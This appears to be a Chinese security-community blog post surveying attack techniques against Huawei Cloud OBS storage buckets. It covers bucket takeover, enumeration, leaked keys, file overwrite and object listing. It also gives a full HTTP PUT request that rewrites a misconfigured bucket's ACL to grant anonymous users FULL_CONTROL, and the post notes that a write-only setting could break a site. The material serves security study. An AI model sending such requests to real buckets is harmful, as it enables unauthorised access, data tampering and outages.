0x00前言:
其实华为云和其他云的攻防利用方式大同小异,师傅们可以对照着前几篇云安全对象存储攻防文章享用
阿里云 https://zone.huoxian.cn/d/918-oss
腾讯云 https://zone.huoxian.cn/d/949-cos
谷歌云 https://zone.huoxian.cn/d/931
微软云 https://zone.huoxian.cn/d/940
AWS https://zone.huoxian.cn/d/907-aws-s3
下面就简单列举下华为云对象存储下的攻防手段
0x01、Bucket劫持
华为云bucket劫持和阿里云的差不多,注意的是华为云在删除掉自己的bucket后30分钟后才可重新注册相同名称的bucket
https://console.huaweicloud.com/console/?region=af-south-1#/obs/manager/buckets
进入华为云的对象存储服务、桶列表、创建桶

当bucket名称存在时会报错
请求的桶名已经存在,或被其他用户占用,请重新输入。

0x02、Bucket爆破

不存在,返回NoSuchBucket

存在,返回AccessDenied
0x03、Access Key Id、Secret Access Key泄漏
Github 敏感信息泄露

反编译目标 APK
目标网站源代码泄露
返回包、JS文件泄漏
...
0x04、特定的bucket策略配置
CORS,限制指定的Referer头,自定义设置Referer头
无指定Referer

指定Referer

curl命令验证

0x05、任意文件上传(无法解析)
上传html等后缀的文件无法解析,直接下载

但是其存在分享功能,分享出来的文件是可以解析的

但是分享有时间限制

从上图中可以看到,分享的链接只保持1分钟到18小时
0x06、文件覆盖
下面是华为云官方文档介绍,是可以覆盖掉对象

这里没实际搭建环境,使用官方工具做个演示,可以看到bucket中文件名为ddddd.jpg,我们上传一个同文件名的文件

可以看到文件名一样就会覆盖前面的对象

0x07、Bucket Object 遍历

如上图,如果设置为公共读或者公共读写就会导致object遍历(设置公共的时候会有提示,问题有可能会出现在复制桶策略上)

可拼接key来下载文件

0x08、Bucket ACL配置错误
如果错误配置了对匿名用户的ACL访问权限,就会造成匿名用户修改Bucket ACL策略,遍历存储桶
实际上只需要给匿名用户配置ACL写入权限即可,但是在请求时需要用户的ID,暂时知道读取权限可以获取用户ID,其他地方应该也可以获取到用户ID;这里为了方便也给予了读取权限

首先我们正常访问一下

Access Denied,没有权限,我们看一下ACL策略
https://hxsecurity.obs.cn-north-4.myhuaweicloud.com/?acl

可以看到用户ID和权限配置,利用手段就是PUT请求,修改ACL策略
PUT /?acl HTTP/1.1
Host: demosecurity.obs.cn-north-4.myhuaweicloud.com
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 575
<AccessControlPolicy xmlns="http://obs.cn-north-4.myhuaweicloud.com/doc/2015-06-30/">
<Owner>
<ID>0a84535a6780f2340fd8c121220e3d660</ID>
</Owner>
<AccessControlList>
<Grant>
<Grantee>
<ID>0a84535a6780f2311212190e3d660</ID>
</Grantee>
#拥有者的权限
<Permission>FULL_CONTROL</Permission>
<Delivered>false</Delivered>
</Grant>
<Grant>
<Grantee>
<Canned>Everyone</Canned>
</Grantee>
#匿名用户的权限
<Permission>FULL_CONTROL</Permission>
</Grant>
</AccessControlList>
</AccessControlPolicy>
修改此处的Permission为FULL_CONTROL

放行返回控制台看一下

拥有了桶访问权限的读取和写入权限,验证下,重新访问

同样的道理,如果我们修改用户只有write权限,没有读取权限,就会导致网站瘫痪
漏洞利用方式可能有错,利用手段也不止于此,希望各位师傅轻喷,也希望师傅们在火线zone多分享分享